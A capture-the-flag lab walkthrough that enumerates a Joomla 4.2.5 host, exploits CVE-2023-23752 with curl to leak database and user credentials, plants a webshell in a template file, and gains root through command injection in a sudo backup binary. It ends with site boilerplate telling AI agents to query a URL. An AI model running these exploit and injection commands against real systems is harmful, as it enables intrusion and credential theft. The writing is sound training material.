# Samurai (Easy) - Samurai

LAB LINK : [ HACKSMARTER](https://www.hacksmarter.org/courses/3b3f3073-3242-4aee-9bcd-0fb058ce4e13/take)

AUTHOR : [Streetcoder](https://www.linkedin.com/in/fadi-raad-84b16b208/)

<figure><img src="/files/OCnJ0l9yOUG40LivARMr" alt=""><figcaption></figcaption></figure>

### Scanning

```
nmap -p- -vvv --min-rate 1000 10.1.152.184

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 62
80/tcp open  http    syn-ack ttl 62
```

```
nmap -p22,80 -sC -sV 10.1.152.184
```

<figure><img src="/files/SMd6WW6Qaj3srnyq8uPO" alt=""><figcaption></figcaption></figure>

### Web Enumeration

* Initial browsing revealed no interesting endpoints or navigation elements on the main page.

<figure><img src="/files/S5WXaLZ6oL1EM6SOy0OC" alt=""><figcaption></figcaption></figure>

### Directory FUZZING

```
ffuf -u http://10.1.152.184/FUZZ -w /usr/share/wordlists/dirb/common.txt -ic -ac
```

<figure><img src="/files/vWPg2Rd5cW14SyIRfxUS" alt=""><figcaption></figcaption></figure>

Found `/administrator` endpoint this seems interesting visting it, revealed Joomla CMS

<figure><img src="/files/JQqzCcWY7rGLH3Crlinh" alt=""><figcaption></figcaption></figure>

Tried basic default creds

```
admin : 
admin : admin
admin : password
root  : root
root  : toor
```

#### Joomla Version Detection

Running joomscan i found the version Joomla 4.2.5

```
joomscan --url http://10.1.152.184/
```

<figure><img src="/files/KBdPVeiSjLCiodl1F5va" alt=""><figcaption></figcaption></figure>

But we could have found the version by manually navigating to below endpoint

{% hint style="info" %}
A Joomla! installation’s version can be remotely extracted without authentication by querying one of a few different endpoints
{% endhint %}

```
 curl -s http://10.1.152.184/administrator/manifests/files/joomla.xml  | grep -i '<version>'
```

<figure><img src="/files/Nzu0Pr2qL9ebW6hD3Qyn" alt=""><figcaption></figcaption></figure>

Doing Googling about the Joomla version i found an article from [VulnCheck](https://www.vulncheck.com/blog/joomla-for-rce)

Joomla 4.2.5 is vulnerable to an information disclosure vulnerability (CVE-2023-23752) that allows unauthenticated attackers to access sensitive configuration endpoints.

<figure><img src="/files/plQdQd47vaSw81MYbzBi" alt=""><figcaption></figcaption></figure>

According to the article we can get the information about the system configuration that is leaking

```
curl -s 'http://10.1.152.184/api/index.php/v1/config/application?public=true'
```

<figure><img src="/files/foLrDwraHtcgmvGcTbdC" alt=""><figcaption></figcaption></figure>

**Extracted Credentials:**

```
└─$ curl -s 'http://10.1.152.184/api/index.php/v1/config/application?public=true' | jq . | grep -i 'user\|password'
        "user": "joomla425",
        "password": "Pa847word987@Joomla456",
```

*Note: These credentials did not work for SSH or Joomla admin panel.*

\+ also i tried with changing username to admin, administrator, root but no luck.

instead of leaking the **`MySQL`** credentials, the attacker can leak the Joomla! user database using CVE-2023-23752:

```
curl -s http://10.1.152.184/api/index.php/v1/users?public=true | jq .
```

<figure><img src="/files/dk2cac1356Y2zdDtTmvD" alt=""><figcaption></figcaption></figure>

Now we have new username : `Miyamoto`

&#x20;and we had the password

### Authenticated in Joomla

Now this creds ain't worked on ssh but it indeed worked on joomla login page

<figure><img src="/files/Jen5frXebepINVMV5sjm" alt=""><figcaption></figcaption></figure>

Navigated to **System → Site Templates → Cassiopeia Details and Files > Index.php**

<figure><img src="/files/kpeRUm8N9L7W3xi4KYnD" alt=""><figcaption></figcaption></figure>

Edited `index.php` and injected web shell code (webshell); saved

<figure><img src="/files/XOlkhB6iMNudn1Rtq5x2" alt=""><figcaption></figcaption></figure>

Navigating to the  [templates/cassiopeia/index.php](http://10.1.152.184/templates/cassiopeia/index.php) i have the webshell

<figure><img src="/files/2CWqxv1tj6XpVRcvhCaG" alt=""><figcaption></figcaption></figure>

### Priv Esc | Command Injection

```
sudo -l
```

<figure><img src="/files/60PnrGZ1A961zOdbwfm9" alt=""><figcaption></figcaption></figure>

```
 strings /opt/backup/DbMaria
```

<figure><img src="/files/dPFGPfCiddc8Z6R3edom" alt=""><figcaption></figcaption></figure>

**This is Command injection** attack via the argument passed to `system()`

We can pass `'superman; id #-- -'`, the final string becomes:

```
mariadb-dump --socket=... -u root test; id  # -- > /tmp/backup.sql
```

```
sudo /opt/backup/DbMaria ';id #-- '
```

<figure><img src="/files/bQOfJERd6wWU16BF3r8G" alt=""><figcaption></figcaption></figure>

```
sudo /opt/backup/DbMaria 'l1nuxkid; /bin/bash -p # --//'
```

<figure><img src="/files/Xbzn4GWjGjBGoPBoYyQq" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/hacksmarter-labs/samurai-easy-samurai.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
